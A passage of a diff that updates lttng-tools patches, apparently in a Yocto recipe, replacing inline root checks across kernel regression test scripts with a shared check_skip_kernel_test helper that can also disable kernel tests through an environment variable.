+index 299247a3c..91eb86d21 100755
+--- a/tests/regression/tools/filtering/test_unsupported_op
++++ b/tests/regression/tools/filtering/test_unsupported_op
+@@ -103,13 +103,7 @@ while [ "$i" -lt "$OP_COUNT" ]; do
+ let "i++"
+ done
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel unsupported filter operations tests." $NUM_KERNEL_TESTS ||
++check_skip_kernel_test $NUM_KERNEL_TESTS "Skipping kernel unsupported filter operations tests." ||
+ {
+ diag "Test kernel unsupported filter operations"
+
+diff --git a/tests/regression/tools/filtering/test_valid_filter b/tests/regression/tools/filtering/test_valid_filter
+index e76ffa25f..1ba7c79bb 100755
+--- a/tests/regression/tools/filtering/test_valid_filter
++++ b/tests/regression/tools/filtering/test_valid_filter
+@@ -1452,13 +1452,7 @@ KERNEL_FILTERS=(
+
+ IFS=$OLDIFS
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel valid filter tests." $NUM_KERNEL_TESTS ||
++check_skip_kernel_test "$NUM_KERNEL_TESTS" "Skipping kernel valid filter tests." ||
+ {
+ diag "Test kernel valid filters"
+
+diff --git a/tests/regression/tools/health/test_health.sh b/tests/regression/tools/health/test_health.sh
+index b3d6419d2..68716e6b9 100644
+--- a/tests/regression/tools/health/test_health.sh
++++ b/tests/regression/tools/health/test_health.sh
+@@ -82,7 +82,7 @@ function test_health
+ diag "With UST consumer daemons"
+ enable_ust_lttng_event_ok $SESSION_NAME $UST_EVENT_NAME $CHANNEL_NAME
+
+- skip $isroot "Root access is needed. Skipping kernel consumer health check test." "1" ||
++ check_skip_kernel_test "1" "Skipping kernel consumer health check test." ||
+ {
+ diag "With kernel consumer daemon"
+ lttng_enable_kernel_event $SESSION_NAME $KERNEL_EVENT_NAME $CHANNEL_NAME
+@@ -113,7 +113,7 @@ function test_health
+
+
+ if [ ${test_needs_root} -eq 1 ]; then
+- skip ${isroot} "Root access needed for test \"${test_thread_name}\"." "1" ||
++ check_skip_kernel_test "1" "Skipping \"${test_thread_name}\"." ||
+ {
+ report_errors "${test_thread_error_string}" "${test_relayd}"
+ }
+@@ -276,12 +276,6 @@ STDERR_PATH=$(mktemp --tmpdir tmp.test_health_stderr_path.XXXXXX)
+ TRACE_PATH=$(mktemp --tmpdir -d tmp.test_health_trace_path.XXXXXX)
+ HEALTH_PATH=$(mktemp --tmpdir -d tmp.test_health_trace_path.XXXXXX)
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ THREAD_COUNT=${#THREAD[@]}
+ i=0
+ while [ "$i" -lt "$THREAD_COUNT" ]; do
+diff --git a/tests/regression/tools/health/test_thread_ok b/tests/regression/tools/health/test_thread_ok
+index e84adb611..e5e23543f 100755
+--- a/tests/regression/tools/health/test_thread_ok
++++ b/tests/regression/tools/health/test_thread_ok
+@@ -67,7 +67,7 @@ function test_thread_ok
+ $CURDIR/$HEALTH_CHECK_BIN > ${STDOUT_PATH} 2> ${STDERR_PATH}
+ report_errors
+
+- skip $isroot "Root access is needed. Skipping kernel consumer health check test." "5" ||
++ check_skip_kernel_test "5" "Skipping kernel consumer health check test." ||
+ {
+ diag "With kernel consumer daemon"
+ create_lttng_session_no_output $SESSION_NAME
+@@ -115,13 +115,6 @@ STDERR_PATH=$(mktemp --tmpdir tmp.test_thread_ok_stderr_path.XXXXXX)
+ TRACE_PATH=$(mktemp --tmpdir -d tmp.test_thread_ok_trace_path.XXXXXX)
+ HEALTH_PATH=$(mktemp --tmpdir -d tmp.test_thread_ok_trace_path.XXXXXX)
+
+-# The manage kernel thread is only spawned if we are root
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ test_thread_ok
+
+ rm -rf ${HEALTH_PATH}
+diff --git a/tests/regression/tools/live/test_kernel b/tests/regression/tools/live/test_kernel
+index b622b5214..fdaa09f0d 100755
+--- a/tests/regression/tools/live/test_kernel
++++ b/tests/regression/tools/live/test_kernel
+@@ -39,13 +39,11 @@ function clean_live_tracing()
+ rm -rf $TRACE_PATH
+ }
+
+-# Need root access for kernel tracing.
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- plan_skip_all "Root access is needed. Skipping all tests."
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
+ exit 0
+-fi
++}
+
+ modprobe lttng-test
+
+diff --git a/tests/regression/tools/live/test_lttng_kernel b/tests/regression/tools/live/test_lttng_kernel
+index a23d9373a..1b933648f 100755
+--- a/tests/regression/tools/live/test_lttng_kernel
++++ b/tests/regression/tools/live/test_lttng_kernel
+@@ -45,13 +45,7 @@ function clean_live_tracing()
+ }
+
+ # Need root access for kernel tracing.
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ modprobe lttng-test
+
+diff --git a/tests/regression/tools/metadata/test_kernel b/tests/regression/tools/metadata/test_kernel
+index 57cace6ea..26e95d93a 100755
+--- a/tests/regression/tools/metadata/test_kernel
++++ b/tests/regression/tools/metadata/test_kernel
+@@ -91,13 +91,7 @@ plan_tests $NUM_TESTS
+ print_test_banner "$TEST_DESC"
+
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel metadata tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping kernel metadata tests." ||
+ {
+ validate_lttng_modules_present
+ modprobe lttng-test
+diff --git a/tests/regression/tools/notification/test_notification_kernel_buffer_usage b/tests/regression/tools/notification/test_notification_kernel_buffer_usage
+index 76e69a77e..8fdaabb3e 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_buffer_usage
++++ b/tests/regression/tools/notification/test_notification_kernel_buffer_usage
+@@ -60,29 +60,27 @@ function test_buffer_usage_notification
+ wait $APP_PID 2> /dev/null
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+-
+- validate_lttng_modules_present
+-
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ rm -rf "$TEST_TMPDIR"
++ exit 0
++}
+
+- modprobe lttng-test
++validate_lttng_modules_present
+
+- # Used on sessiond launch.
+- LTTNG_SESSIOND_ENV_VARS="LTTNG_TESTPOINT_ENABLE=1 \
+- CONSUMER_PAUSE_PIPE_PATH=${TESTPOINT_PIPE_PATH} \
+- LD_PRELOAD=${TESTPOINT}"
+- start_lttng_sessiond_notap
++modprobe lttng-test
+
+- test_buffer_usage_notification
++# Used on sessiond launch.
++LTTNG_SESSIOND_ENV_VARS="LTTNG_TESTPOINT_ENABLE=1 \
++ CONSUMER_PAUSE_PIPE_PATH=${TESTPOINT_PIPE_PATH} \
++ LD_PRELOAD=${TESTPOINT}"
++start_lttng_sessiond_notap
+
+- stop_lttng_sessiond_notap
+- rmmod lttng-test
++test_buffer_usage_notification
+
+- rm -rf "${consumerd_pipe[@]}" 2> /dev/null
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
++stop_lttng_sessiond_notap
++rmmod lttng-test
+
++rm -rf "${consumerd_pipe[@]}" 2> /dev/null
+ rm -rf "$TEST_TMPDIR"
+diff --git a/tests/regression/tools/notification/test_notification_kernel_capture b/tests/regression/tools/notification/test_notification_kernel_capture
+index 88f123d3d..0f8a2bc6f 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_capture
++++ b/tests/regression/tools/notification/test_notification_kernel_capture
+@@ -31,22 +31,21 @@ function test_basic_error_path
+ }
+
+
+-if [ "$(id -u)" == "0" ]; then
+- validate_lttng_modules_present
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ exit 0
++}
+
+- modprobe lttng-test
++validate_lttng_modules_present
+
+- start_lttng_sessiond_notap
++modprobe lttng-test
+
+- test_basic_error_path
++start_lttng_sessiond_notap
+
+- stop_lttng_sessiond_notap
+- rmmod lttng-test
++test_basic_error_path
+
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
++stop_lttng_sessiond_notap
++rmmod lttng-test
+
+ rm -f "$TESTAPP_STATE_PATH"
+diff --git a/tests/regression/tools/notification/test_notification_kernel_error b/tests/regression/tools/notification/test_notification_kernel_error
+index 80fe6e5b5..b757ec2b4 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_error
++++ b/tests/regression/tools/notification/test_notification_kernel_error
+@@ -30,23 +30,22 @@ function test_basic_error_path
+ wait $APP_PID 2> /dev/null
+ }
+
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ exit 0
++}
+
+-if [ "$(id -u)" == "0" ]; then
+- validate_lttng_modules_present
++validate_lttng_modules_present
+
+- modprobe lttng-test
++modprobe lttng-test
+
+- start_lttng_sessiond_notap
++start_lttng_sessiond_notap
+
+- test_basic_error_path
++test_basic_error_path
+
+- stop_lttng_sessiond_notap
+- rmmod lttng-test
++stop_lttng_sessiond_notap
++rmmod lttng-test
+
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
+
+ rm -f "$TESTAPP_STATE_PATH"
+diff --git a/tests/regression/tools/notification/test_notification_kernel_instrumentation b/tests/regression/tools/notification/test_notification_kernel_instrumentation
+index 90545a541..705f7703d 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_instrumentation
++++ b/tests/regression/tools/notification/test_notification_kernel_instrumentation
+@@ -28,22 +28,21 @@ function test_kernel_instrumentation_notification
+ wait $APP_PID 2> /dev/null
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+- validate_lttng_modules_present
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ exit 0
++}
+
+- modprobe lttng-test
++validate_lttng_modules_present
+
+- start_lttng_sessiond_notap
++modprobe lttng-test
+
+- test_kernel_instrumentation_notification
++start_lttng_sessiond_notap
+
+- stop_lttng_sessiond_notap
+- rmmod lttng-test
++test_kernel_instrumentation_notification
+
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
++stop_lttng_sessiond_notap
++rmmod lttng-test
+
+ rm -f "$TESTAPP_STATE_PATH"
+diff --git a/tests/regression/tools/notification/test_notification_kernel_syscall b/tests/regression/tools/notification/test_notification_kernel_syscall
+index d273cb55d..7fa235388 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_syscall
++++ b/tests/regression/tools/notification/test_notification_kernel_syscall
+@@ -31,19 +31,18 @@ function test_kernel_syscall_notification
+ wait $APP_PID 2> /dev/null
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+- validate_lttng_modules_present
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ exit 0
++}
+
+- start_lttng_sessiond_notap
++validate_lttng_modules_present
+
+- test_kernel_syscall_notification
++start_lttng_sessiond_notap
+
+- stop_lttng_sessiond_notap
++test_kernel_syscall_notification
+
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
++stop_lttng_sessiond_notap
+
+ rm -f "$TESTAPP_STATE_PATH"
+diff --git a/tests/regression/tools/notification/test_notification_kernel_userspace_probe b/tests/regression/tools/notification/test_notification_kernel_userspace_probe
+index 8ef8d708d..abddd9be7 100755
+--- a/tests/regression/tools/notification/test_notification_kernel_userspace_probe
++++ b/tests/regression/tools/notification/test_notification_kernel_userspace_probe
+@@ -29,18 +29,18 @@ function test_kernel_userspace_probe_notification
+ wait $APP_PID 2> /dev/null
+ }
+
+-if [ "$(id -u)" == "0" ]; then
+- validate_lttng_modules_present
++check_skip_kernel_test &&
++{
++ plan_skip_all "Skipping all tests."
++ exit 0
++}
++
++validate_lttng_modules_present
+
+- start_lttng_sessiond_notap
++start_lttng_sessiond_notap
+
+- test_kernel_userspace_probe_notification
++test_kernel_userspace_probe_notification
+
+- stop_lttng_sessiond_notap
+-else
+- # Kernel tests are skipped.
+- plan_tests $NUM_TESTS
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $NUM_TESTS
+-fi
++stop_lttng_sessiond_notap
+
+ rm -f "$TESTAPP_STATE_PATH"
+diff --git a/tests/regression/tools/notification/test_notification_multi_app b/tests/regression/tools/notification/test_notification_multi_app
+index d8b639225..61891b56f 100755
+--- a/tests/regression/tools/notification/test_notification_multi_app
++++ b/tests/regression/tools/notification/test_notification_multi_app
+@@ -411,22 +411,18 @@ function test_on_register_evaluation ()
+ rm -rf "$output_dir"
+ }
+
+-
+ TESTS=(
+ test_multi_app_ust
+ test_on_register_evaluation_ust
+ )
+
+-if [ "$(id -u)" == "0" ]; then
++check_skip_kernel_test "$NUM_TEST_KERNEL" "Skipping kernel multi-app notification tests." || {
+ validate_lttng_modules_present
+ TESTS+=(
+- test_multi_app_kernel
+- test_on_register_evaluation_kernel
+-)
+-else
+- skip 0 "Root access is needed. Skipping all kernel multi-app notification tests." $NUM_TEST_KERNEL
+-fi
+-
++ test_multi_app_kernel
++ test_on_register_evaluation_kernel
++ )
++}
+
+ for fct_test in ${TESTS[@]};
+ do
+diff --git a/tests/regression/tools/notification/test_notification_notifier_discarded_count b/tests/regression/tools/notification/test_notification_notifier_discarded_count
+index c9235393e..a6c31a728 100755
+--- a/tests/regression/tools/notification/test_notification_notifier_discarded_count
++++ b/tests/regression/tools/notification/test_notification_notifier_discarded_count
+@@ -391,7 +391,8 @@ function test_ust_notifier_discarded_regardless_trigger_owner
+ test_ust_notifier_discarded_count
+ test_ust_notifier_discarded_count_max_bucket
+
+-if [ "$(id -u)" == "0" ]; then
++check_skip_kernel_test "$KERNEL_NUM_TESTS" "Skipping kernel notification tests." ||
++{
+
+ validate_lttng_modules_present
+
+@@ -413,9 +414,7 @@ if [ "$(id -u)" == "0" ]; then
+ modprobe --remove lttng-test
+
+ rm -rf "${sessiond_pipe[@]}" 2> /dev/null
+-else
+- # Kernel tests are skipped.
+- skip 0 "Root access is needed. Skipping all kernel notification tests." $KERNEL_NUM_TESTS
+-fi
++
++}
+
+ rm -rf "$TEST_TMPDIR"
+diff --git a/tests/regression/tools/regen-metadata/test_kernel b/tests/regression/tools/regen-metadata/test_kernel
+index 49eea32a7..555a4e2ce 100755
+--- a/tests/regression/tools/regen-metadata/test_kernel
++++ b/tests/regression/tools/regen-metadata/test_kernel
+@@ -99,13 +99,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+
+diff --git a/tests/regression/tools/regen-statedump/test_kernel b/tests/regression/tools/regen-statedump/test_kernel
+index 8a261355d..bbbac3942 100755
+--- a/tests/regression/tools/regen-statedump/test_kernel
++++ b/tests/regression/tools/regen-statedump/test_kernel
+@@ -39,13 +39,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+ start_lttng_sessiond
+diff --git a/tests/regression/tools/rotation/test_kernel b/tests/regression/tools/rotation/test_kernel
+index f5f1f5553..efe3fd359 100755
+--- a/tests/regression/tools/rotation/test_kernel
++++ b/tests/regression/tools/rotation/test_kernel
+@@ -82,13 +82,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+
+diff --git a/tests/regression/tools/snapshots/test_kernel b/tests/regression/tools/snapshots/test_kernel
+index abb243563..d91876867 100755
+--- a/tests/regression/tools/snapshots/test_kernel
++++ b/tests/regression/tools/snapshots/test_kernel
+@@ -217,13 +217,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel snapshot tests" $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+
+ validate_lttng_modules_present
+diff --git a/tests/regression/tools/snapshots/test_kernel_streaming b/tests/regression/tools/snapshots/test_kernel_streaming
+index 0c92dc710..dd965afee 100755
+--- a/tests/regression/tools/snapshots/test_kernel_streaming
++++ b/tests/regression/tools/snapshots/test_kernel_streaming
+@@ -145,13 +145,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests" $NUM_TESTS ||
++check_skip_kernel_test $NUM_TESTS "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+
+diff --git a/tests/regression/tools/streaming/test_high_throughput_limits b/tests/regression/tools/streaming/test_high_throughput_limits
+index 2b9e3ad39..c55d51098 100755
+--- a/tests/regression/tools/streaming/test_high_throughput_limits
++++ b/tests/regression/tools/streaming/test_high_throughput_limits
+@@ -170,13 +170,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed to set bandwith limits. Skipping all tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+
+ # Catch sigint and try to cleanup limits
+diff --git a/tests/regression/tools/streaming/test_kernel b/tests/regression/tools/streaming/test_kernel
+index 33334229f..113eea7bf 100755
+--- a/tests/regression/tools/streaming/test_kernel
++++ b/tests/regression/tools/streaming/test_kernel
+@@ -47,13 +47,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel streaming tests." $NUM_TESTS ||
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." ||
+ {
+ validate_lttng_modules_present
+
+diff --git a/tests/regression/tools/tracker/test_event_tracker b/tests/regression/tools/tracker/test_event_tracker
+index cc0f698d2..de0c79d36 100755
+--- a/tests/regression/tools/tracker/test_event_tracker
++++ b/tests/regression/tools/tracker/test_event_tracker
+@@ -466,13 +466,7 @@ test_event_track_untrack ust 0 "${EVENT_NAME}" "--pid --all" # backward compat
+ test_event_tracker ust 1 "${EVENT_NAME}" "--pid --all" # backward compat
+ test_event_pid_tracker ust 1 "${EVENT_NAME}"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel tracker tests." $NUM_KERNEL_TESTS ||
++check_skip_kernel_test "$NUM_KERNEL_TESTS" "Skipping kernel tracker tests." ||
+ {
+ diag "Test kernel tracker"
+
+diff --git a/tests/regression/tools/trigger/test_add_trigger_cli b/tests/regression/tools/trigger/test_add_trigger_cli
+index 98ecf6272..d1763aa2e 100755
+--- a/tests/regression/tools/trigger/test_add_trigger_cli
++++ b/tests/regression/tools/trigger/test_add_trigger_cli
+@@ -34,12 +34,6 @@ tmp_stdout=$(mktemp --tmpdir -t test_parse_cli_trigger_stdout.XXXXXX)
+ tmp_stderr=$(mktemp --tmpdir -t test_parse_cli_trigger_stderr.XXXXXX)
+ uprobe_elf_binary="${TESTDIR}/utils/testapp/userspace-probe-elf-binary/.libs/userspace-probe-elf-binary"
+
+-if [ "$(id -u)" == "0" ]; then
+- ist_root=1
+-else
+- ist_root=0
+-fi
+-
+ function test_success ()
+ {
+ local test_name="$1"
+@@ -223,7 +217,7 @@ test_success "--exclude-name two" "trigger5" \
+ --condition event-rule-matches --type=user --name='jean-*' --exclude-name jean-chretien -x jean-charest \
+ --action notify
+
+-skip $ist_root "non-root user: skipping kprobe tests" 18 || {
++check_skip_kernel_test 18 "Skipping kprobe tests." || {
+ i=0
+
+ for type in kprobe kernel:kprobe; do
+@@ -262,7 +256,7 @@ skip $ist_root "non-root user: skipping kprobe tests" 18 || {
+ done
+ }
+
+-skip $ist_root "non-root user: skipping uprobe tests" 6 || {
++check_skip_kernel_test 6 "Skipping uprobe tests." || {
+ test_success "--condition event-rule-matches uprobe" "uprobe-trigger-0" \
+ --name="uprobe-trigger-0" \
+ --condition event-rule-matches --type=kernel:uprobe --location=${uprobe_elf_binary}:test_function --event-name=ma-probe \
+@@ -274,7 +268,7 @@ skip $ist_root "non-root user: skipping uprobe tests" 6 || {
+ --action notify
+ }
+
+-skip $ist_root "non-root user: skipping syscall tests" 30 || {
++check_skip_kernel_test 30 "Skipping syscall tests." || {
+ test_success "--condition event-rule-matches one syscall" "syscall-trigger-0" \
+ --name="syscall-trigger-0" \
+ --condition event-rule-matches --type=syscall --name=open \
+diff --git a/tests/regression/tools/trigger/test_list_triggers_cli b/tests/regression/tools/trigger/test_list_triggers_cli
+index a04018013..02c3de3e9 100755
+--- a/tests/regression/tools/trigger/test_list_triggers_cli
++++ b/tests/regression/tools/trigger/test_list_triggers_cli
+@@ -36,22 +36,12 @@ uprobe_sdt_binary=$(realpath "${TESTDIR}/utils/testapp/userspace-probe-sdt-binar
+ register_some_triggers_bin=$(realpath "${CURDIR}/utils/register-some-triggers")
+
+ uid=$(id --user)
+-gid=$(id --group)
+
+-if [ "$uid" == "0" ]; then
+- ist_root=1
+- ls "$uprobe_sdt_binary" >/dev/null 2>&1
+- if test $? == 0; then
+- hast_sdt_binary=1
+- else
+- hast_sdt_binary=0
+- fi
+-else
+- ist_root=0
+- hast_sdt_binary=0
++sdt_binary_present=0
++if [ -f "$uprobe_sdt_binary" ]; then
++ sdt_binary_present=1
+ fi
+
+-
+ test_top_level_options ()
+ {
+ diag "Listing top level options"
+@@ -2695,10 +2685,12 @@ start_lttng_sessiond_notap
+
+ test_top_level_options
+ test_event_rule_matches_tracepoint
+-skip $ist_root "non-root user: skipping kprobe tests" 13 || test_event_rule_matches_probe
+-skip $ist_root "non-root user: skipping uprobe tests" 9 || test_event_rule_matches_userspace_probe_elf
+-skip $(($ist_root && $hast_sdt_binary)) "skipping userspace probe SDT tests" 9 || test_event_rule_matches_userspace_probe_sdt
+-skip $ist_root "non-root user: skipping syscall tests" 17 || test_event_rule_matches_syscall
++check_skip_kernel_test 48 "Skipping kprobe, uprobe, SDT and syscall tests." || {
++ test_event_rule_matches_probe
++ test_event_rule_matches_userspace_probe_elf
++ skip $sdt_binary_present "No SDT binary. Skipping userspace probe SDT tests" 9 || test_event_rule_matches_userspace_probe_sdt
++ test_event_rule_matches_syscall
++}
+ test_session_consumed_size_condition
+ test_buffer_usage_conditions
+ test_session_rotation_conditions
+diff --git a/tests/regression/tools/wildcard/test_event_wildcard b/tests/regression/tools/wildcard/test_event_wildcard
+index f69baffc4..14d9bb88a 100755
+--- a/tests/regression/tools/wildcard/test_event_wildcard
++++ b/tests/regression/tools/wildcard/test_event_wildcard
+@@ -124,13 +124,7 @@ test_event_wildcard ust 1 'tp*tptest'
+ test_event_wildcard ust 1 'tp**tptest'
+ test_event_wildcard ust 1 'tp*test'
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all kernel wildcard tests." $NUM_KERNEL_TESTS ||
++check_skip_kernel_test "$NUM_KERNEL_TESTS" "Skipping kernel wildcard tests." ||
+ {
+ diag "Test kernel wildcards"
+
+diff --git a/tests/regression/tools/working-directory/test_relayd_working_directory b/tests/regression/tools/working-directory/test_relayd_working_directory
+index c7e784cca..6bd1e504a 100755
+--- a/tests/regression/tools/working-directory/test_relayd_working_directory
++++ b/tests/regression/tools/working-directory/test_relayd_working_directory
+@@ -145,9 +145,9 @@ function test_relayd_debug_permission()
+ diag "Test lttng-relayd change working directory on non writable directory"
+
+ if [ "$(id -u)" == "0" ]; then
+- is_user=0
++ is_user=0
+ else
+- is_user=1
++ is_user=1
+ fi
+
+ skip $is_user "Skipping permission debug output test; operation can't fail as root" 6 ||
+diff --git a/tests/regression/ust/namespaces/test_ns_contexts_change b/tests/regression/ust/namespaces/test_ns_contexts_change
+index 8a4b62ce3..622241f7b 100755
+--- a/tests/regression/ust/namespaces/test_ns_contexts_change
++++ b/tests/regression/ust/namespaces/test_ns_contexts_change
+@@ -101,12 +101,7 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-isroot=0
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-fi
+-
+-skip $isroot "Root access is needed. Skipping all tests." "$NUM_TESTS" && exit 0
++check_skip_kernel_test "$NUM_TESTS" "Skipping all tests." && exit 0
+
+ system_has_ns=0
+ if [ -d "/proc/$$/ns" ]; then
+diff --git a/tests/regression/ust/test_event_perf b/tests/regression/ust/test_event_perf
+index 33aab2981..178959a19 100755
+--- a/tests/regression/ust/test_event_perf
++++ b/tests/regression/ust/test_event_perf
+@@ -119,17 +119,11 @@ plan_tests $NUM_TESTS
+
+ print_test_banner "$TEST_DESC"
+
+-if [ "$(id -u)" == "0" ]; then
+- isroot=1
+-else
+- isroot=0
+-fi
+-
+ start_lttng_sessiond
+
+ test_parsing_raw
+
+-skip $isroot "Root access is needed. Skipping UST perf tests." 8 ||
++check_skip_kernel_test 8 "Skipping UST perf tests." ||
+ {
+ test_event_basic
+ }
+diff --git a/tests/utils/utils.sh b/tests/utils/utils.sh
+index faa87e783..da0e0569d 100644
+--- a/tests/utils/utils.sh
++++ b/tests/utils/utils.sh
+@@ -318,6 +318,41 @@ function conf_proc_count()
+ echo
+ }
+
++# Usage:
++# check_skip_kernel_test [NB_TESTS] [SKIP_MESSAGE]
++# Return 0 if LTTNG_TOOLS_DISABLE_KERNEL_TESTS was set or the current user is not a root user
++# If NB_TESTS is set, call skip() to skip number of tests.
++# If NB_TESTS is empty, just output a reason with diag.
++# An optional message can be added.
++
++function check_skip_kernel_test ()
++{
++ local num_tests="$1"
++ local skip_message="$2"
++
++ # Check for skip test kernel flag
++ if [ "$LTTNG_TOOLS_DISABLE_KERNEL_TESTS" == "1" ]; then
++ if ! test -z "$num_tests"; then
++ skip 0 "LTTNG_TOOLS_DISABLE_KERNEL_TESTS was set.${skip_message+ }${skip_message}" "$num_tests"
++ else
++ diag "LTTNG_TOOLS_DISABLE_KERNEL_TESTS was set.${skip_message+ }${skip_message}"
++ fi
++ return 0
++ fi
++
++ # Check if we are running as root
++ if [ "$(id -u)" != "0" ]; then
++ if ! test -z "$num_tests"; then
++ skip 0 "Root access is needed for kernel testing.${skip_message+ }${skip_message}" "$num_tests"
++ else
++ diag "Root access is needed for kernel testing.${skip_message+ }${skip_message}"
++ fi
++ return 0
++ fi
++
++ return 1
++}
++
+ # Check if base lttng-modules are present.
+ # Bail out on failure
+ function validate_lttng_modules_present ()
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch
index 2d08b08879..2f95889c4b 100644
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch
+++ b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch
@@ -1,4 +1,4 @@
-From ab238c213fac190972f55e73cf3e0bb1c7846eb8 Mon Sep 17 00:00:00 2001
+From 2237748af00467ad8250a7ccd944200f811db69a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 12 Dec 2019 16:52:07 +0100
Subject: [PATCH] tests: do not strip a helper library
@@ -10,10 +10,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am b/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
-index 03f5d5a..d12c343 100644
+index 836f13e..e19a554 100644
--- a/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+++ b/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
-@@ -12,7 +12,7 @@ userspace_probe_elf_binary_LDADD = libfoo.la
+@@ -14,7 +14,7 @@ userspace_probe_elf_binary_LDADD = libfoo.la
libfoo.strip: libfoo.la
$(OBJCOPY) --strip-all .libs/libfoo.so
@@ -22,6 +22,3 @@ index 03f5d5a..d12c343 100644
@if [ x"$(srcdir)" != x"$(builddir)" ]; then \
for script in $(EXTRA_DIST); do \
cp -f $(srcdir)/$$script $(builddir); \
---
-2.17.1
-
